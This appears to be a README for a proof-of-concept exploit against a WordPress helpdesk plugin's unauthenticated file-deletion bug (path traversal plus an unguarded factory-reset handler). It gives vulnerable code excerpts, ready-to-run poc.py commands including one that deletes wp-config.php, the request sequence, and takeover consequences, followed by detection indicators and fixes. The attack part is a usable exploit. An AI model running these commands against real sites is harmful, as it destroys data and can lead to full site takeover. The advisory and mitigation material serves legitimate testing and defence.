
CVE-2026-114630 - ELEX HelpDesk <= 3.3.8 unauthenticated arbitrary file deletion (PoC + exploit by thiscitze)
by thiscitze
| Product | ELEX WordPress HelpDesk & Customer Ticketing System (elex-helpdesk-customer-support-ticket-system) |
| Affected | <= 3.3.8 |
| Type | Path traversal / arbitrary unlink() (CWE-22) |
| Impact | Unauthenticated file deletion; RCE depends on the deleted file |
| CVSS | 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H) |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-114630 |
Two bugs combine into an unauthenticated unlink() primitive:
Arbitrary ticket meta. eh_crm_new_ticket_post is registered with
wp_ajax_nopriv_ and, after verifying the wsdesk_nonce, copies every
field of the form POST parameter into ticket meta:
foreach ( $post_values as $key => $value ) {
$meta[ $key ] = $value;
}
Arrays are serialized by eh_crm_insert_ticketmeta(). Supplying
ticket_attachment_path[]=/path/to/file therefore stores an attacker
chosen path in the ticket meta.
Unguarded factory reset. The plugin runs the reset handler at load
time, before auth_redirect() on wp-admin/admin.php:
if ( isset( $_GET['page'] ) ) {
if ( is_admin() ) {
if ( 'wsdesk_factory_reset' === $_GET['page'] ) {
EH_CRM_Init_Handler::factory_reset();
}
}
}
is_admin() is a request-type check, not a capability check.
factory_reset() walks every ticket and calls unlink() on every
ticket_attachment_path.
The nonce (wsdesk_nonce) is printed on any page that renders the
[wsdesk_support] shortcode, so an anonymous visitor can obtain it.
This is destructive. Besides the unlink() calls, the reset routine
deactivates the plugin, drops the wsdesk_* tables and deletes the support
page. Use it only on a disposable lab instance.
[wsdesk_support] (the PoC discovers it automatically)# default target: the plugin's readme.txt (safe verification)
python3 poc.py --url https://target.example --yes
# delete a specific file (absolute path on the server)
python3 poc.py --url https://target.example --yes \
--target /var/www/html/wp-config.php \
--check /wp-config.php
# support page not discoverable
python3 poc.py --url https://target.example --support-url https://target.example/support/ --yes
Options:
| Flag | Meaning |
|---|---|
--target PATH | absolute path passed to unlink() |
--check URL | URL used to verify deletion (default: plugin readme.txt) |
--no-verify | skip the 404 verification |
--yes | required for the destructive reset when stdin is not a TTY |
--support-url | page with the support shortcode |
--proxy | HTTP proxy |
Exit codes: 0 deletion verified, 2 aborted/unverified, 1 failure.
support_object JSON (ajax_url, nonce).form payload includes
ticket_attachment_path[]=<target>; the array is stored serialized in the
ticket meta.wp-admin/admin.php?page=wsdesk_factory_reset, which reaches the
handler before auth_redirect() and unlinks the path.404 on --check.Deleting wp-config.php drops the site into the installer; depending on the
environment this can lead to a full takeover. Deleting security plugin files,
.htaccess or a must-use plugin can expose other attack surface. The primitive
is simple: any file writable by the web user can be removed.
POST /wp-admin/admin-ajax.php with action=eh_crm_new_ticket_post and a
form field containing ticket_attachment_pathGET /wp-admin/admin.php?page=wsdesk_factory_reset from an unauthenticated
clientDROP TABLE wp_wsdesk_* and a burst of
unlink() calls in the audit logcurrent_user_can('manage_options')) and a
nonce to the reset handlerpage=wsdesk_factory_reset for unauthenticated usersFor authorized testing and lab use only. The reset step destroys data by design; do not point this at a production site.
written by thiscitze · github.com/thiscitze